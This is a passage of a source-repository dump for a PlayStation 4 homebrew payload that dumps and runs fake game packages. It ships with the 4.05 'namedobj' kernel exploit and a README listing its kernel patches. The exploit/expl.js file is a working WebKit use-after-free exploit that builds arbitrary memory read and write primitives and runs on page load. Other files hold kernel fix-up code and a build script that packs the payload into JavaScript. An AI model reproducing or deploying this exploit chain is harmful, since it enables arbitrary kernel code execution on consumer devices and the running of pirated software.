218 |
219 | // patch some things in the kernel (sandbox, prison, debug settings etc..)
220 | syscall(11,kpayload,td);
221 |
222 | initSysUtil();
223 |
224 | config.title_id = "";
225 | config.copy = 1;
226 | //config.split = 0;
227 | config.notify = 60;
228 | config.shutdown = 0;
229 |
230 | nthread_run = 1;
231 | notify_buf[0] = '\0';
232 | ScePthread nthread;
233 | scePthreadCreate(&nthread, NULL, nthread_func, NULL, "nthread");
234 |
235 | notify("Welcome to ps4-pkg2usb v"VERSION);
236 | sceKernelSleep(5);
237 |
238 | if (!wait_for_usb(usb_name, usb_path))
239 | {
240 | sprintf(notify_buf, "Waiting for USB disk...");
241 | do {
242 | sceKernelSleep(1);
243 | }
244 | while (!wait_for_usb(usb_name, usb_path));
245 | notify_buf[0] = '\0';
246 | }
247 |
248 | sprintf(cfg_path, "%s/%s", usb_path, CONFIG_FILE);
249 |
250 | if (!file_exists(cfg_path)) {
251 | sprintf(msg, "Error: %s is missing!", CONFIG_FILE);
252 | notify(msg);
253 | return -1;
254 | }
255 |
256 | cfg_parse(cfg_path, config_handler, &config);
257 |
258 | sprintf(title_id, config.title_id);
259 |
260 | if (strlen(title_id) == 0) {
261 | sprintf(msg, "Error: title_id is missing in config!");
262 | notify(msg);
263 | return -1;
264 | }
265 |
266 | link_pkg(title_id, usb_path);
267 |
268 | nthread_run = 0;
269 |
270 | printfsocket("Bye!\n\n");
271 |
272 | #ifdef DEBUG_SOCKET
273 | closeDebugSocket();
274 | #endif
275 |
276 | // Reboot PS4
277 | if (config.shutdown)
278 | {
279 | int evf = syscall(540, "SceSysCoreReboot");
280 | syscall(546, evf, 0x4000, 0);
281 | syscall(541, evf);
282 | syscall(37, 1, 30);
283 | }
284 |
285 | return 0;
286 | }
287 |
--------------------------------------------------------------------------------
/405/source/pkg.c:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2013 Hykem
2 | // Licensed under the terms of the GNU GPL, version 2
3 | // http://www.gnu.org/licenses/gpl-2.0.txt
4 |
5 | #include "ps4.h"
6 | #include "defines.h"
7 | #include "debug.h"
8 | #include "pkg.h"
9 |
10 | #define EOF '\00'
11 |
12 | // Helper functions.
13 | static inline uint16_t bswap_16(uint16_t val)
14 | {
15 | return ((val & (uint16_t)0x00ffU) << 8)
16 | | ((val & (uint16_t)0xff00U) >> 8);
17 | }
18 |
19 | static inline uint32_t bswap_32(uint32_t val)
20 | {
21 | return ((val & (uint32_t)0x000000ffUL) << 24)
22 | | ((val & (uint32_t)0x0000ff00UL) << 8)
23 | | ((val & (uint32_t)0x00ff0000UL) >> 8)
24 | | ((val & (uint32_t)0xff000000UL) >> 24);
25 | }
26 |
27 | int isfpkg(char *pkgfn) {
28 | int result = 0;
29 |
30 | FILE *in = NULL;
31 | struct cnt_pkg_main_header m_header;
32 | struct cnt_pkg_content_header c_header;
33 | memset(&m_header, 0, sizeof(struct cnt_pkg_main_header));
34 | memset(&c_header, 0, sizeof(struct cnt_pkg_content_header));
35 |
36 | if ((in = fopen(pkgfn, "rb")) == NULL)
37 | {
38 | //printfsocket("File not found!\n");
39 | result = 1;
40 | goto exit;
41 | }
42 |
43 | fseek(in, 0, SEEK_SET);
44 | fread(&m_header, 1, 0x180, in);
45 |
46 | if (m_header.magic != PS4_PKG_MAGIC)
47 | {
48 | //printfsocket("Invalid PS4 PKG Magic file!\n");
49 | result = 2;
50 | goto exit;
51 | }
52 |
53 | if (bswap_32(m_header.type) != 1)
54 | {
55 | //printfsocket("Invalid PS4 PKG Type file!\n");
56 | result = 3;
57 | goto exit;
58 | }
59 |
60 | /*
61 | printfsocket("PS4 PKG header:\n");
62 | printfsocket("- PKG magic: 0x%X\n", bswap_32(m_header.magic));
63 | printfsocket("- PKG type: 0x%X\n", bswap_32(m_header.type));
64 | printfsocket("- PKG table entries: %d\n", bswap_16(m_header.table_entries_num));
65 | printfsocket("- PKG system entries: %d\n", bswap_16(m_header.system_entries_num));
66 | printfsocket("- PKG table offset: 0x%X\n", bswap_32(m_header.file_table_offset));
67 | printfsocket("\n");
68 | */
69 |
70 | exit:
71 | fclose(in);
72 |
73 | return result;
74 | }
--------------------------------------------------------------------------------
/405/source/utils.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "debug.h"
4 | #include "utils.h"
5 | #include "main.h"
6 | #include "elf64.h"
7 | #include "pkg.h"
8 |
9 | #define TRUE 1
10 | #define FALSE 0
11 |
12 | #define BUFFER_SIZE 65536
13 |
14 | extern int run;
15 |
16 | int symlink(const char *pathname, const char *slink) {
17 | return syscall(57, pathname, slink);
18 | }
19 |
20 | int symlinkat(const char *pathname, int newdirfd, const char *slink) {
21 | return syscall(502, pathname, newdirfd, slink);
22 | }
23 |
24 | int lstat(const char *pathname, struct stat *buf) {
25 | return syscall(190, pathname, buf); //40 old syscall
26 | }
27 |
28 | int wait_for_usb(char *usb_name, char *usb_path)
29 | {
30 | FILE *out = fopen("/mnt/usb0/.probe", "wb");
31 | if (!out)
32 | {
33 | out = fopen("/mnt/usb1/.probe", "wb");
34 | if (!out)
35 | {
36 | return 0;
37 | }
38 | else
39 | {
40 | unlink("/mnt/usb1/.probe");
41 | sprintf(usb_name, "%s", "USB1");
42 | sprintf(usb_path, "%s", "/mnt/usb1");
43 | }
44 | }
45 | else
46 | {
47 | unlink("/mnt/usb0/.probe");
48 | sprintf(usb_name, "%s", "USB0");
49 | sprintf(usb_path, "%s", "/mnt/usb0");
50 | }
51 | fclose(out);
52 |
53 | return 1;
54 | }
55 |
56 | off_t file_size(const char *filename) {
57 | struct stat st;
58 |
59 | if (stat(filename, &st) == 0)
60 | return st.st_size;
61 |
62 | return -1;
63 | }
64 |
65 | int file_exists(char *fname)
66 | {
67 | FILE *file = fopen(fname, "rb");
68 | if (file)
69 | {
70 | fclose(file);
71 | return 1;
72 | }
73 | return 0;
74 | }
75 |
76 | int dir_exists(char *dname)
77 | {
78 | DIR *dir = opendir(dname);
79 |
80 | if (dir)
81 | {
82 | /* Directory exists. */
83 | closedir(dir);
84 | return 1;
85 | }
86 | return 0;
87 | }
88 |
89 | int symlink_exists(const char* fname)
90 | {
91 | struct stat statbuf;
92 |
93 | if (lstat(fname, &statbuf) < 0) {
94 | //error occured
95 | return -1;
96 | }
97 |
98 | if (S_ISLNK(statbuf.st_mode) == 1) {
99 | //symbolic link;
100 | return 1;
101 | } else {
102 | //NOT a symbolic link;
103 | return 0;
104 | }
105 | }
106 |
107 | char* chop(char *string)
108 | {
109 | char *ptr;
110 |
111 | ptr = strrchr(string, '\r');
112 | if (ptr) *ptr = '\0';
113 |
114 | ptr = strrchr(string, '\n');
115 | if (ptr) *ptr = '\0';
116 |
117 | return string;
118 | }
119 |
120 | /*
121 | void _mkdir(const char *dir)
122 | {
123 | char tmp[256];
124 | char *p = NULL;
125 |
126 | snprintf(tmp, sizeof(tmp), "%s", dir);
127 | for (p = tmp + 1; *p; p++)
128 | {
129 | if (*p == '/')
130 | {
131 | *p = 0;
132 | mkdir(tmp, 0777);
133 | *p = '/';
134 | }
135 | }
136 | }
137 |
138 | char *read_string(FILE* f)
139 | {
140 | char *string = malloc(sizeof(char) * 256);
141 | int c;
142 | int length = 0;
143 | if (!string) return string;
144 | while((c = fgetc(f)) != EOF)
145 | {
146 | string[length++] = c;
147 | }
148 | string[length++] = '\0';
149 |
150 | return realloc(string, sizeof(char) * length);
151 | }
152 |
153 | static inline int fgetc(FILE *fp)
154 | {
155 | char c;
156 |
157 | if (fread(&c, 1, 1, fp) == 0)
158 | return (EOF);
159 | return (c);
160 | }
161 | */
--------------------------------------------------------------------------------
/405/tool/Makefile:
--------------------------------------------------------------------------------
1 | all: bin2js
2 |
3 | bin2js: bin2js.c
4 | gcc -o bin2js bin2js.c
5 |
6 | .PHONY: clean
7 |
8 | clean:
9 | rm bin2js
10 |
--------------------------------------------------------------------------------
/405/tool/bin2js.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int main(int argc, char** argv)
5 | {
6 | assert(argc == 2);
7 | char* fn = argv[1];
8 | FILE* f = fopen(fn, "r");
9 | printf("var payload = [");
10 | while(!feof(f))
11 | {
12 | unsigned long ul;
13 | if(fread(&ul, 4, 1, f) == 0) break;
14 | printf((ul > 9) ? "0x%X," : "%d,", (int)ul);
15 | }
16 | printf("0];\n");
17 | fclose(f);
18 | }
19 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | LIBPS4 := $(PS4SDK455)/libPS4
2 |
3 | TEXT := 0x926200000
4 | DATA := 0x926300000
5 |
6 | CC := gcc
7 | AS := gcc
8 | OBJCOPY := objcopy
9 | ODIR := build
10 | SDIR := source
11 | IDIRS := -I$(LIBPS4)/include -I. -Iinclude
12 | LDIRS := -L$(LIBPS4) -L. -Llib
13 | CFLAGS := $(IDIRS) -Os -std=gnu11 -fno-builtin -nostartfiles -nostdlib -Wall -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large
14 | SFLAGS := -nostartfiles -nostdlib -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large
15 | LFLAGS := $(LDIRS) -Xlinker -T $(LIBPS4)/linker.x -Wl,--build-id=none -Ttext=$(TEXT) -Tdata=$(DATA)
16 | CFILES := $(wildcard $(SDIR)/*.c)
17 | SFILES := $(wildcard $(SDIR)/*.s)
18 | OBJS := $(patsubst $(SDIR)/%.c, $(ODIR)/%.o, $(CFILES)) $(patsubst $(SDIR)/%.s, $(ODIR)/%.o, $(SFILES))
19 |
20 | LIBS := -lPS4
21 |
22 | TARGET = $(shell basename $(CURDIR)).bin
23 |
24 | $(TARGET): $(ODIR) $(OBJS)
25 | $(CC) $(LIBPS4)/crt0.s $(ODIR)/*.o -o temp.t $(CFLAGS) $(LFLAGS) $(LIBS)
26 | $(OBJCOPY) -O binary temp.t $(TARGET)
27 | rm -f temp.t
28 |
29 | $(ODIR)/%.o: $(SDIR)/%.c
30 | $(CC) -c -o $@ $< $(CFLAGS)
31 |
32 | $(ODIR)/%.o: $(SDIR)/%.s
33 | $(AS) -c -o $@ $< $(SFLAGS)
34 |
35 | $(ODIR):
36 | @mkdir $@
37 |
38 | .PHONY: clean
39 |
40 | clean:
41 | rm -f $(TARGET) $(ODIR)/*.o
42 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PS4 PKG2USB – Dump and run Fake PKGs on USB – 4.05/4.55 Payload by SiSTRo
2 |
3 | This is a PS4 payload (based on Vortex’s dumper) to dump and run fake PKGs on USB.
4 |
5 |
6 |
7 | - USB drive must be formatted to exFAT
8 |
9 | - works only with fpkg (not official pkg)
10 |
11 | - game/app have to be before installed as usually on internal storage
12 |
13 | - copy ps4-pkg2usb.cfg to usb root
14 |
15 | - edit config title_id with game/app title_id
16 |
17 | - always use the same USB port that when you installed game
18 |
19 | - to reinstall game to internal hdd, remove and reinstall as usual
20 |
21 |
22 |
23 | tip: if you still have the pkg and you want to avoid wasting time waiting for the file to be copied from the payload on the USB HDD,
24 | copy the pkg to X:\PS4\CUSAxxxxx\app.pkg
25 |
--------------------------------------------------------------------------------
/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -e
4 |
5 | pushd tool
6 | make
7 | popd
8 |
9 | make
10 |
11 | tool/bin2js ps4-pkg2usb.bin > exploit/payload.js
12 |
--------------------------------------------------------------------------------
/clean.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | pushd tool
4 | make clean
5 | popd
6 |
7 | make clean
8 |
9 | rm -f *.bin
10 |
--------------------------------------------------------------------------------
/exploit/README.md:
--------------------------------------------------------------------------------
1 | # PS4 4.05 Kernel Exploit
2 | ---
3 | ## Summary
4 | In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release contain game Dumper for PS4 payload code by Vortex
5 |
6 | You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/%22NamedObj%22%204.05%20Kernel%20Exploit%20Writeup.md).
7 |
8 | ## Patches Included
9 | The following patches are made by default in the kernel ROP chain:
10 | 1) Disable kernel write protection
11 | 2) Allow RWX (read-write-execute) memory mapping
12 | 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
13 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
14 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.
15 | 6) Game dumper for PS4 payload code by Vortex
16 |
17 | ## Notes
18 | - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel.
19 | - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads.
20 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel.
21 | - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date.
22 |
23 | ## Contributors
24 | I was not alone in this exploit's development, and would like to thank those who helped me along the way below.
25 |
26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz)
27 | - [Flatz](https://twitter.com/flat_z)
28 | - [CTurt](https://twitter.com/CTurtE)
29 | - [IDC](https://twitter.com/3226_2143)
30 | - Anonymous
31 |
--------------------------------------------------------------------------------
/exploit/expl.js:
--------------------------------------------------------------------------------
1 | /* Set up variables that will be used later on */
2 | var _dview;
3 |
4 | /*
5 | Zero out a buffer
6 | */
7 | function zeroFill( number, width )
8 | {
9 | width -= number.toString().length;
10 | if ( width > 0 )
11 | {
12 | return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number;
13 | }
14 | return number + ""; // always return a string
15 | }
16 |
17 | /*
18 | Int64 library for address operations
19 | */
20 | function int64(low,hi) {
21 | this.low = (low>>>0);
22 | this.hi = (hi>>>0);
23 | this.add32inplace = function(val) {
24 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
25 | var new_hi = (this.hi >>> 0);
26 | if (new_lo < this.low) {
27 | new_hi++;
28 | }
29 | this.hi=new_hi;
30 | this.low=new_lo;
31 | }
32 | this.add32 = function(val) {
33 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
34 | var new_hi = (this.hi >>> 0);
35 | if (new_lo < this.low) {
36 | new_hi++;
37 | }
38 | return new int64(new_lo, new_hi);
39 | }
40 | this.sub32 = function(val) {
41 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
42 | var new_hi = (this.hi >>> 0);
43 | if (new_lo > (this.low) & 0xFFFFFFFF) {
44 | new_hi--;
45 | }
46 | return new int64(new_lo, new_hi);
47 | }
48 | this.sub32inplace = function(val) {
49 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
50 | var new_hi = (this.hi >>> 0);
51 | if (new_lo > (this.low) & 0xFFFFFFFF) {
52 | new_hi--;
53 | }
54 | this.hi=new_hi;
55 | this.low=new_lo;
56 | }
57 | this.and32 = function(val) {
58 | var new_lo = this.low & val;
59 | var new_hi = this.hi;
60 | return new int64(new_lo, new_hi);
61 | }
62 | this.and64 = function(vallo, valhi) {
63 | var new_lo = this.low & vallo;
64 | var new_hi = this.hi & valhi;
65 | return new int64(new_lo, new_hi);
66 | }
67 | this.toString = function(val) {
68 | val = 16; // eh
69 | var lo_str = (this.low >>> 0).toString(val);
70 | var hi_str = (this.hi >>> 0).toString(val);
71 | if(this.hi == 0) return lo_str;
72 | else {
73 | lo_str = zeroFill(lo_str, 8)
74 | }
75 | return hi_str+lo_str;
76 | }
77 | this.toPacked = function() {
78 | return {hi: this.hi, low: this.low};
79 | }
80 | this.setPacked = function(pck) {
81 | this.hi=pck.hi;
82 | this.low=pck.low;
83 | return this;
84 | }
85 |
86 | return this;
87 | }
88 |
89 | var memPressure = new Array(400); // For forcing GC via memory pressure
90 | var stackFrame = []; // Our fake stack in memory
91 | var frameIndex = 0; // Set index in fake stack to 0 (0xFF00)
92 | var stackPeek = 0;
93 |
94 | /* Force garbage collection via memory pressure */
95 | var doGarbageCollection = function()
96 | {
97 | /* Apply memory pressure */
98 | for (var i = 0; i < memPressure.length; i++)
99 | {
100 | memPressure[i] = new Uint32Array(0x10000);
101 | }
102 |
103 | /* Zero out the buffer */
104 | for (var i = 0; i < memPressure.length; i++)
105 | {
106 | memPressure[i] = 0;
107 | }
108 | }
109 |
110 | /* For peeking the stack (reading) */
111 | function peek_stack()
112 | {
113 | var mem;
114 | var retno;
115 | var oldRetno;
116 |
117 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */
118 | retno = 0xFFFF;
119 |
120 | arguments.length =
121 | {
122 | valueOf: function()
123 | {
124 | oldRetno = retno;
125 | retno = 1;
126 | return oldRetno;
127 | }
128 | }
129 |
130 | /*
131 | What this essentially does is when function.prototype.apply() is called, it will
132 | check arguments length. Where it should return 1 (the actual size), it actually
133 | returns 0xFFFF due to the function above. This allows an out-of-bounds read
134 | on the stack, and allows us to control uninitialized memory regions
135 | */
136 | var args = arguments;
137 |
138 | (function() {
139 | (function() {
140 | (function() {
141 | mem = arguments[0xFF00];
142 | }).apply(undefined, args);
143 | }).apply(undefined, stackFrame);
144 | }).apply(undefined, stackFrame);
145 |
146 | stackPeek = mem;
147 |
148 | return mem;
149 | }
150 |
151 | /* For poking the stack (writing) */
152 | function poke_stack(val)
153 | {
154 | /* Set stack frame value @ frameIndex */
155 | stackFrame[frameIndex] = val;
156 |
157 | /* Apply to uninitialized memory region on the stack */
158 | (function() {
159 | (function() {
160 | (function() {
161 | }).apply(null, stackFrame);
162 | }).apply(null, stackFrame);
163 | }).apply(null, stackFrame);
164 |
165 | /* Clear value in stack frame @ frameIndex as it's been applied already */
166 | stackFrame[frameIndex] = "";
167 | }
168 |
169 | /* Run exploit PoC */
170 | function run() {
171 | try
172 | {
173 | /*
174 | Set each integer in the stackframe to it's index, this way we can peek
175 | the stack to align it
176 | */
177 | for(var i = 0; i < 0xFFFF; i++)
178 | {
179 | stackFrame[i] = i;
180 | }
181 |
182 | /*
183 | Attempt to poke and peek the stack. If the peek returns null, it means
184 | the out-of-bounds read failed, throw an exception and catch it.
185 | */
186 | frameIndex = 0;
187 | poke_stack(0);
188 |
189 | if (peek_stack() == undefined) {
190 | throw "System is not vulnerable!";
191 | }
192 |
193 | /* Setup our stack frame so our target object reference resides inside of it */
194 | frameIndex = 0;
195 | poke_stack(0);
196 |
197 | peek_stack();
198 | frameIndex = stackPeek;
199 |
200 | /* Align the stack frame */
201 | poke_stack(0x4141);
202 |
203 | for (var align = 0; align < 8; align++)
204 | (function(){})();
205 |
206 | /* Test if we aligned our stack frame properly, if not throw exception and catch */
207 | peek_stack();
208 |
209 | if (stackPeek != 0x4141)
210 | {
211 | throw "Couldn't align stack frame to stack!";
212 | }
213 |
214 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */
215 | var butterflySpray = new Array(0x1000);
216 |
217 | for (var i = 0; i < 0x1000; i++)
218 | {
219 | butterflySpray[i] = [];
220 |
221 | for (var k = 0; k < 0x40; k++)
222 | {
223 | butterflySpray[i][k] = 0x42424242;
224 | }
225 |
226 | butterflySpray[i].unshift(butterflySpray[i].shift());
227 | }
228 |
229 | /* Spray marked space */
230 | var sprayOne = new Array(0x100);
231 |
232 | for (var i = 0; i < 0x100; i++)
233 | {
234 | sprayOne[i] = [1];
235 |
236 | if (!(i & 3))
237 | {
238 | for (var k = 0; k < 0x8; k++)
239 | {
240 | sprayOne[i][k] = 0x43434343;
241 | }
242 | }
243 |
244 | sprayOne[i].unshift(sprayOne[i].shift());
245 | }
246 |
247 | var sprayTwo = new Array(0x400);
248 |
249 | for (var i = 0; i < 0x400; i++)
250 | {
251 | sprayTwo[i] = [2];
252 |
253 | if (!(i & 3))
254 | {
255 | for (var k = 0; k < 0x80; k++)
256 | {
257 | sprayTwo[i][k] = 0x43434343;
258 | }
259 | }
260 |
261 | sprayTwo[i].unshift(sprayTwo[i].shift());
262 | }
263 |
264 | /* Setup target object for UAF, spray */
265 | var uafTarget = [];
266 |
267 | for (var i = 0; i < 0x80; i++) {
268 | uafTarget[i] = 0x42420000;
269 | }
270 |
271 | /* Store target on the stack to maintain a reference after forced garbage collection */
272 | poke_stack(uafTarget);
273 |
274 | /* Remove references so they're free'd when garbage collection occurs */
275 | uafTarget = 0;
276 | sprayOne = 0;
277 | sprayTwo = 0;
278 |
279 | /* Force garbage collection */
280 | for (var k = 0; k < 4; k++)
281 | doGarbageCollection();
282 |
283 | /* Re-collect our maintained reference from the stack */
284 | peek_stack();
285 | uafTarget = stackPeek;
286 |
287 | stackPeek = 0;
288 |
289 | /*
290 | We now have access to uninitialized memory, force a heap overflow by
291 | overwriting the "length" field of our UAF'd object's butterfly via spraying
292 | */
293 | for (var i = 0; i < 0x1000; i++)
294 | {
295 | for (var k = 0x0; k < 0x80; k++)
296 | {
297 | butterflySpray[i][k] = 0x7FFFFFFF;
298 |
299 | /*
300 | Find our UAF'd object via modified length, which should be the maximum
301 | value for a 32-bit integer. If it is, we've successfully primitive our
302 | butterfly's length header!
303 | */
304 | if (uafTarget.length == 0x7FFFFFFF)
305 | {
306 | /* Store index of butterfly for UAF'd object for primitiveSpray */
307 | var butterflyIndex = i;
308 |
309 | /* Remove all references except what we need to free memory */
310 | for (var i = 0; i < butterflyIndex; i++)
311 | butterflySpray[i] = 0;
312 |
313 | for (var i = butterflyIndex + 1; i < 0x1000; i++)
314 | butterflySpray[i] = 0;
315 |
316 | doGarbageCollection();
317 |
318 | /* Spray to obtain a read/write primitive */
319 | var primitiveSpray = new Array(0x20000);
320 | var potentialPrim = new ArrayBuffer(0x1000);
321 |
322 | for (var i = 0; i < 0x20000; i++)
323 | {
324 | primitiveSpray[i] = i;
325 | }
326 |
327 | var overlap = new Array(0x80);
328 |
329 | /* Setup potential uint32array slaves for our read/write primitive */
330 | for (var i = 0; i < 0x20000; i++)
331 | {
332 | primitiveSpray[i] = new Uint32Array(potentialPrim);
333 | }
334 |
335 | /* Find a slave uint32array from earlier spray */
336 | var currentQword = 0x10000;
337 | var found = false;
338 | var smashedButterfly = new int64(0,0);
339 | var origData = new int64(0, 0);
340 | var locateHelper = new int64(0, 0);
341 |
342 | while (!found)
343 | {
344 | /*
345 | Change qword value for uint32array size to 0x1337 in UAF'd object
346 | to defeat U-ASLR
347 | */
348 | var savedVal = uafTarget[currentQword];
349 | uafTarget[currentQword] = 0x1337;
350 |
351 | /* Check sprayed uint32array slaves for modified size */
352 | for (var i = 0; i < 0x20000; i++)
353 | {
354 | if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000)
355 | {
356 | /*
357 | Found our primitive! Restore uint32array size as 0x1000 is
358 | sufficient.
359 | */
360 | uafTarget[currentQword] = savedVal;
361 |
362 | var primitive = primitiveSpray[i];
363 | var overlap = [1337];
364 |
365 | uafTarget[currentQword - 5] = overlap;
366 |
367 | smashedButterfly.low = primitive[2];
368 | smashedButterfly.hi = primitive[3];
369 | smashedButterfly.keep_gc = overlap;
370 |
371 | /* Find previous ArrayBufferView */
372 | uafTarget[currentQword - 5] = uafTarget[currentQword - 2];
373 |
374 | butterflySpray[butterflyIndex][k] = 0;
375 |
376 | origData.low = primitive[4];
377 | origData.hi = primitive[5];
378 |
379 | primitive[4] = primitive[12];
380 | primitive[5] = primitive[13];
381 | primitive[14] = 0x40;
382 |
383 | /* Find our uint32array slave for writing values */
384 | var slave = undefined;
385 |
386 | for (var k = 0; k < 0x20000; k++)
387 | {
388 | if (primitiveSpray[k].length == 0x40)
389 | {
390 | slave = primitiveSpray[k];
391 | break;
392 | }
393 | }
394 |
395 | if(!slave)
396 | throw "Could not find slave for write primitive!";
397 |
398 | /* Set primitive address to that of the smashed butterfly's */
399 | primitive[4] = smashedButterfly.low;
400 | primitive[5] = smashedButterfly.hi;
401 |
402 | /* Setup primitive and slave for primitive functions */
403 | overlap[0] = uafTarget;
404 |
405 | var targetEntry = new int64(slave[0], slave[1]);
406 |
407 | primitive[4] = targetEntry.low;
408 | primitive[5] = targetEntry.hi;
409 | slave[2] = 0;
410 | slave[3] = 0;
411 |
412 | /* Clear references for future collection from GC */
413 | uafTarget = 0;
414 | primitiveSpray = 0;
415 |
416 | /* Finally restore primitive address to it's original state */
417 | primitive[4] = origData.low;
418 | primitive[5] = origData.hi;
419 |
420 | /*
421 | Derive primitive functions
422 | */
423 |
424 | /* Purpose: Leak object addresses for ASLR defeat */
425 | var leakval = function(obj)
426 | {
427 | primitive[4] = smashedButterfly.low;
428 | primitive[5] = smashedButterfly.hi;
429 |
430 | overlap[0] = obj;
431 |
432 | var val = new int64(slave[0], slave[1]);
433 |
434 | slave[0] = 1337;
435 | slave[1] = 0xffff0000;
436 |
437 | primitive[4] = origData.low;
438 | primitive[5] = origData.hi;
439 |
440 | return val;
441 | }
442 |
443 | /* Purpose: Create a value (used for checking the primitive) */
444 | var createval = function(val)
445 | {
446 | primitive[4] = smashedButterfly.low;
447 | primitive[5] = smashedButterfly.hi;
448 |
449 | slave[0] = val.low;
450 | slave[1] = val.hi;
451 |
452 | var val = overlap[0];
453 |
454 | slave[0] = 1337;
455 | slave[1] = 0xffff0000;
456 |
457 | primitive[4] = origData.low;
458 | primitive[5] = origData.hi;
459 |
460 | return val;
461 | }
462 |
463 | /* Purpose: Read 32-bits (or 4 bytes) from address */
464 | var read32 = function(addr)
465 | {
466 | primitive[4] = addr.low;
467 | primitive[5] = addr.hi;
468 |
469 | var val = slave[0];
470 |
471 | primitive[4] = origData.low;
472 | primitive[5] = origData.hi;
473 |
474 | return val;
475 | }
476 |
477 | /* Purpose: Read 64-bits (or 8 bytes) from address */
478 | var read64 = function(addr)
479 | {
480 | primitive[4] = addr.low;
481 | primitive[5] = addr.hi;
482 |
483 | var val = new int64(slave[0], slave[1]);
484 |
485 | primitive[4] = origData.low;
486 | primitive[5] = origData.hi;
487 |
488 | return val;
489 | }
490 |
491 | /* Purpose: Write 32-bits (or 4 bytes) to address */
492 | var write32 = function(addr, val)
493 | {
494 | primitive[4] = addr.low;
495 | primitive[5] = addr.hi;
496 |
497 | slave[0] = val;
498 |
499 | primitive[4] = origData.low;
500 | primitive[5] = origData.hi;
501 | }
502 |
503 | /* Purpose: Write 64-bits (or 8 bytes) to address */
504 | var write64 = function(addr, val)
505 | {
506 | primitive[4] = addr.low;
507 | primitive[5] = addr.hi;
508 |
509 | if (val == undefined)
510 | {
511 | val = new int64(0,0);
512 | }
513 | if (!(val instanceof int64))
514 | {
515 | val = new int64(val,0);
516 | }
517 |
518 | slave[0] = val.low;
519 | slave[1] = val.hi;
520 |
521 | primitive[4] = origData.low;
522 | primitive[5] = origData.hi;
523 | }
524 |
525 | if (createval(leakval(0x1337)) != 0x1337) {
526 | throw "Primitive is broken, jsvalue leaked does not match jsvalue created!";
527 | }
528 |
529 | var testData = [1,2,3,4,5,6,7,8];
530 |
531 | var testAddr = leakval(testData);
532 |
533 | var butterflyAddr = read64(testAddr.add32(8));
534 |
535 | if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || createval(read64(butterflyAddr)) != 1) {
536 | throw "Primitive is broken, either butterfly address is null or object is not a valid jsvalue!";
537 | }
538 |
539 | if (window.postexploit) {
540 | window.postexploit({
541 | read4: read32,
542 | read8: read64,
543 | write4: write32,
544 | write8: write64,
545 | leakval: leakval,
546 | createval: createval
547 | });
548 | }
549 | return 2;
550 | }
551 | }
552 | uafTarget[currentQword] = savedVal;
553 | currentQword ++;
554 | }
555 | }
556 | }
557 | }
558 | /*
559 | If we ended up here, the exploit failed to find our resized object/we were
560 | not able to modify the UaF'd target's length :(
561 | */
562 | return 1;
563 | }
564 | catch (e)
565 | {
566 | alert(e);
567 | }
568 | }
569 |
570 | //window.onload = function() { document.getElementById("clck").innerHTML = 'go'; };
571 | window.onload = function() { run(); };
--------------------------------------------------------------------------------
/exploit/fix.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #define KERN_XFAST_SYSCALL 0x30EB30
4 | #define KERN_MALLOC 0x1D1700
5 | #define KERN_FREE 0x1D18D0
6 | #define KERN_PRINTF 0x347580
7 |
8 | int main(void)
9 | {
10 | int i;
11 | void *addr;
12 | uint8_t *ptrKernel;
13 |
14 | int (*printf)(const char *fmt, ...) = NULL;
15 | void *(*malloc)(unsigned long size, void *type, int flags) = NULL;
16 | void (*free)(void *addr, void *type) = NULL;
17 |
18 | // Get kbase and resolve kernel symbols
19 | ptrKernel = (uint8_t *)(rdmsr(0xc0000082) - KERN_XFAST_SYSCALL);
20 | malloc = (void *)&ptrKernel[KERN_MALLOC];
21 | free = (void *)&ptrKernel[KERN_FREE];
22 | printf = (void *)&ptrKernel[KERN_PRINTF];
23 |
24 | uint8_t *objBase = (uint8_t *)(*(uint64_t *)(0xDEAD0000));
25 |
26 | // Fix stuff in object that's corrupted by exploit
27 | *(uint64_t *)(objBase + 0x0E0) = 0x7773706964;
28 | *(uint64_t *)(objBase + 0x0F0) = 0;
29 | *(uint64_t *)(objBase + 0x0F8) = 0;
30 |
31 | // Malloc so object doesn't get smashed
32 | for (i = 0; i < 512; i++)
33 | {
34 | addr = malloc(0x180, &ptrKernel[0x133F680], 0x02);
35 |
36 | printf("Alloc: 0x%lx\n", addr);
37 |
38 | if (addr == (void *)objBase)
39 | break;
40 |
41 | free(addr, &ptrKernel[0x133F680]);
42 | }
43 |
44 | printf("Object Dump 0x%lx\n", objBase);
45 |
46 | for (i = 0; i < 0x180; i += 8)
